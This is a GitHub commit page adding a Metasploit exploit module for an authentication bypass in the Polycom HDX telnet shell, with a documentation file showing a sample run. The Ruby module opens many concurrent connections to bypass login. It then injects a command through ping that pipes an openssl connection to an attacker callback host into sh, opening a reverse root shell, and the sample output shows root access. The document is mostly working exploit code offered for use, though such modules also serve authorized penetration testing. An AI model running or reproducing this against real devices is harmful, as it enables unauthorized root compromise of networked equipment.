Skip to content

Commit abf435d

Browse files
author
Brent Cook
committed
Land rapid7#6960, Auth bypass for Polycom HDX video endpoints
2 parents 10653fa + 5309f2e commit abf435d

File tree

2 files changed

+284
-0
lines changed

2 files changed

+284
-0
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
## Vulnerable Application
2+
3+
This module exploits the Polycom HDX video endpoints with software <= 3.0.5.
4+
It was tested on a Polycom HDX 7000 running software version 3.0.3. Telnet port
5+
23 should be accessible, as it is with the factory default configuration.
6+
7+
## Verification Steps
8+
9+
A successful check of the exploit will look like this:
10+
11+
```
12+
msf exploit(psh_auth_bypass) > use exploit/unix/misc/psh_auth_bypass
13+
msf exploit(psh_auth_bypass) > run
14+
15+
[*] Started reverse double SSL handler on 192.168.1.120:4444
16+
[*] 192.168.1.155:23 - Starting Authentication bypass with 6 threads with 100 max connections
17+
[+] 192.168.1.155:23 - 192.168.1.155:23 Successfully exploited the authentication bypass flaw
18+
[+] 192.168.1.155:23 - Sending payload of 178 bytes to 192.168.1.155:40186...
19+
[*] Accepted the first client connection...
20+
[*] Accepted the second client connection...
21+
[*] Command: echo xInxktvgUmm7hPyh;
22+
[*] Writing to socket A
23+
[*] Writing to socket B
24+
[*] Reading from sockets...
25+
[*] Reading from socket B
26+
[*] B: "xInxktvgUmm7hPyh\n"
27+
[*] Matching...
28+
[*] A is input...
29+
[*] Command shell session 1 opened (192.168.1.120:4444 -> 192.168.1.155:37728) at 2016-08-01 13:49:06 -0500
30+
[*] 192.168.1.155:23 - Shutting down payload stager listener...
31+
32+
whoami
33+
root
34+
uname -a
35+
Linux polycom.lan 2.6.33.3-rt17.p2.25 #1 PREEMPT RT Wed Aug 3 14:08:40 CDT 2011 ppc unknown
36+
```
Lines changed: 248 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,248 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Polycom Command Shell Authorization Bypass',
18+
'Alias' => 'psh_auth_bypass',
19+
'Author' =>
20+
[
21+
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
22+
'h00die <[email protected]>', # submission/cleanup
23+
],
24+
'DisclosureDate' => 'Jan 18 2013',
25+
'Description' => %q(
26+
The login component of the Polycom Command Shell on Polycom HDX
27+
video endpints, running software versions 3.0.5 and earlier,
28+
is vulnerable to an authorization bypass when simultaneous
29+
connections are made to the service, allowing remote network
30+
attackers to gain access to a sandboxed telnet prompt without
31+
authentication. Versions prior to 3.0.4 contain OS command
32+
injection in the ping command which can be used to execute
33+
arbitrary commands as root.
34+
),
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
39+
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
40+
[ 'EDB', '24494']
41+
],
42+
'Platform' => 'unix',
43+
'Arch' => ARCH_CMD,
44+
'Privileged' => true,
45+
'Targets' => [ [ "Universal", {} ] ],
46+
'Payload' =>
47+
{
48+
'Space' => 8000,
49+
'DisableNops' => true,
50+
'Compat' => { 'PayloadType' => 'cmd' }
51+
},
52+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
53+
'DefaultTarget' => 0
54+
)
55+
)
56+
57+
register_options(
58+
[
59+
Opt::RHOST(),
60+
Opt::RPORT(23),
61+
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
62+
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
63+
], self.class
64+
)
65+
register_advanced_options(
66+
[
67+
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
68+
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
69+
], self.class
70+
)
71+
end
72+
73+
def check
74+
connect
75+
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")
76+
Rex.sleep(1)
77+
res = sock.get_once
78+
disconnect
79+
80+
if !res && !res.empty?
81+
return Exploit::CheckCode::Safe
82+
end
83+
84+
if res =~ /Welcome to ViewStation/
85+
return Exploit::CheckCode::Appears
86+
end
87+
88+
Exploit::CheckCode::Safe
89+
end
90+
91+
def exploit
92+
# Keep track of results (successful connections)
93+
results = []
94+
95+
# Random string for password
96+
password = Rex::Text.rand_text_alpha(rand(5) + 1)
97+
98+
# Threaded login checker
99+
max_threads = datastore['THREADS']
100+
cur_threads = []
101+
102+
# Try up to 100 times just to be sure
103+
queue = [*(1..datastore['MAX_CONNECTIONS'])]
104+
105+
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
106+
until queue.empty?
107+
while cur_threads.length < max_threads
108+
109+
# We can stop if we get a valid login
110+
break unless results.empty?
111+
112+
# keep track of how many attempts we've made
113+
item = queue.shift
114+
115+
# We can stop if we reach max tries
116+
break unless item
117+
118+
t = Thread.new(item) do |count|
119+
sock = connect
120+
sock.put(password + "\n")
121+
res = sock.get_once
122+
123+
until res.empty?
124+
break unless results.empty?
125+
126+
# Post-login Polycom banner means success
127+
if res =~ /Polycom/
128+
results << sock
129+
break
130+
# bind error indicates bypass is working
131+
elsif res =~ /bind/
132+
sock.put(password + "\n")
133+
# Login error means we need to disconnect
134+
elsif res =~ /failed/
135+
break
136+
# To many connections means we need to disconnect
137+
elsif res =~ /Error/
138+
break
139+
end
140+
res = sock.get_once
141+
end
142+
end
143+
144+
cur_threads << t
145+
end
146+
147+
# We can stop if we get a valid login
148+
break unless results.empty?
149+
150+
# Add to a list of dead threads if we're finished
151+
cur_threads.each_index do |ti|
152+
t = cur_threads[ti]
153+
unless t.alive?
154+
cur_threads[ti] = nil
155+
end
156+
end
157+
158+
# Remove any dead threads from the set
159+
cur_threads.delete(nil)
160+
161+
Rex.sleep(0.25)
162+
end
163+
164+
# Clean up any remaining threads
165+
cur_threads.each { |sock| sock.kill }
166+
167+
if !results.empty?
168+
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
169+
do_payload(results[0])
170+
else
171+
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
172+
end
173+
end
174+
175+
def do_payload(sock)
176+
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
177+
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
178+
179+
# Start a listener
180+
start_listener(true)
181+
182+
# Figure out the port we picked
183+
cbport = self.service.getsockname[2]
184+
185+
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
186+
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
187+
sock.put(cmd)
188+
189+
# Give time for our command to be queued and executed
190+
1.upto(5) do
191+
Rex.sleep(1)
192+
break if session_created?
193+
end
194+
end
195+
196+
def stage_final_payload(cli)
197+
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
198+
cli.put(payload.encoded + "\n")
199+
end
200+
201+
def start_listener(ssl = false)
202+
comm = datastore['ListenerComm']
203+
if comm == 'local'
204+
comm = ::Rex::Socket::Comm::Local
205+
else
206+
comm = nil
207+
end
208+
209+
self.service = Rex::Socket::TcpServer.create(
210+
'LocalPort' => datastore['CBPORT'],
211+
'SSL' => ssl,
212+
'SSLCert' => datastore['SSLCert'],
213+
'Comm' => comm,
214+
'Context' =>
215+
{
216+
'Msf' => framework,
217+
'MsfExploit' => self
218+
}
219+
)
220+
221+
self.service.on_client_connect_proc = proc { |client|
222+
stage_final_payload(client)
223+
}
224+
225+
# Start the listening service
226+
self.service.start
227+
end
228+
229+
# Shut down any running services
230+
def cleanup
231+
super
232+
if self.service
233+
print_status("Shutting down payload stager listener...")
234+
begin
235+
self.service.deref if self.service.is_a?(Rex::Service)
236+
if self.service.is_a?(Rex::Socket)
237+
self.service.close
238+
self.service.stop
239+
end
240+
self.service = nil
241+
rescue ::Exception
242+
end
243+
end
244+
end
245+
246+
# Accessor for our TCP payload stager
247+
attr_accessor :service
248+
end

0 commit comments

Comments
 (0)